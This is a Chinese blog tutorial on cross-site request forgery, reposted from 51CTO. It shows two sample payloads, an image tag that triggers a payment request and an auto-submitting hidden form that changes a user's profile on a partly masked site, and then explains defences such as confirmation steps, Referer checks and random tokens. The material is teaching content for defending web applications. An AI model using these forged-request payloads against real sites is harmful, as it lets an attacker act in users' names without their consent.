CSRF漏洞分析利用及防御

简介:

0x00 简要介绍

    CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无 token/refer 限制,导致攻击者可以以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种

 

0x01 GET类型的CSRF

     这种类型的CSRF一般是由于程序员安全意思不强造成的。GET类型的CSRF利用非常简单,只需要构造一个HTTP请求,

一般会这样利用:

1
< img  src = "http://a.ioio.pub:8000/users/pay?uid=122&monery=10000"  \>

当目标加载这个图片时会自动加载链接,这时就能完成攻击了。


例如:在一个留言或博客论坛的环境中,当留言内容没有经过过滤时,可以按照上面的方法构造一个删除该文章的图片链接。当目标查看博客留言时,因为是图片标签,所以浏览器会自动加载该URL这时,目标处于登录状态,那么该文章就会被删除。这种就是CSRF-GET请求的一种利用。


0x02 POST类型的CSRF

     所谓POST类型就是构造一个自动提交的表单,当目标点击给标签时,就会以POST的方式发送一次HTTP请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
< html >
< head >
     < title >test csrf</ title >
</ head >
< body >
< body >
     < form  name = "csrf"  action = "http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify"  method = "post"  enctype = "multipart/form-data" >
         < input  type = "hidden"  name = "email"  value = "123456@qq.com" >
         < input  type = "hidden"  name = "qq"  value = "123456" >
         < input  type = "hidden"  name = "telephone"  value = "12345678901" >
         < input  type = "hidden"  name = "bloglink"  value = "smdx" >
         < input  type = "hidden"  name = "description"  value = "xmsdx" >
     </ form >
     < script >document.csrf.submit();</ script >
</ body >
</ html >

以上内容就是一个可以自动提交的表单,当用户触发时,发送一次HTTP请求,修改个人信息。


0x03 如何修复

     针对CSRF的防范:

     关键的操作只接受POST请求,并且添加验证码。

     CSRF攻击的工程,往往是用户在不知情的情况下触发的,当添加验证码或确认操作时,就可以简单而有效防御CSRF了。

    

     检测refer

常见的互联网页面与页面之间是存在联系的,比如你在www.baidu.com应该是找不到通往www.google.com的链接的,再比如你在 论坛留言,那么不管你留言后重定向到哪里去了,之前的那个网址一定会包含留言的输入框,这个之前的网址就会保留在新页面头文件的Referer中


通过检查Referer的值,我们就可以判断这个请求是合法的还是非法的,但是问题出在服务器不是任何时候都能接受到Referer的值,所以Refere Check 一般用于监控CSRF攻击的发生,而不用来抵御攻击。


     Token

目前主流的做法是使用Token抵御CSRF攻击。下面通过分析CSRF 攻击来理解为什么Token能够有效


CSRF攻击要成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则,我们可以对参数进行加密从而防止CSRF攻击。


另一个更通用的做法是保持原有参数不变,另外添加一个参数Token,其值是随机的。这样攻击者因为不知道Token而无法构造出合法的请求进行攻击。


Token 使用原则

1
2
3
4
Token要足够随机————只有这样才算不可预测
Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
Token要注意保密性————敏感操作使用post,防止Token出现在URL中
                                                                  ---参照学习与乌云drops




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1793767,如需转载请自行联系原作者
目录
打赏
0
0
0
0
265
分享
相关文章
2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧
2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
188 4
|
5月前
|
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
163 2
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
146 6
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
146 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
就一次!带你彻底搞懂CSRF攻击与防御
与XSS攻击相比,利用CSRF漏洞发动攻击会比较困难,这也是在网络上看起来CSRF的人气小于XSS的原因之一。下面我们来利用CSRF漏洞发起攻击,并针对攻击进行防御,彻底弄懂CSRF,话不多说,我们直接开冲。
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
114 6
Web漏洞挖掘:XSS与CSRF防护策略
【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。

热门文章

最新文章

下一篇
oss创建bucket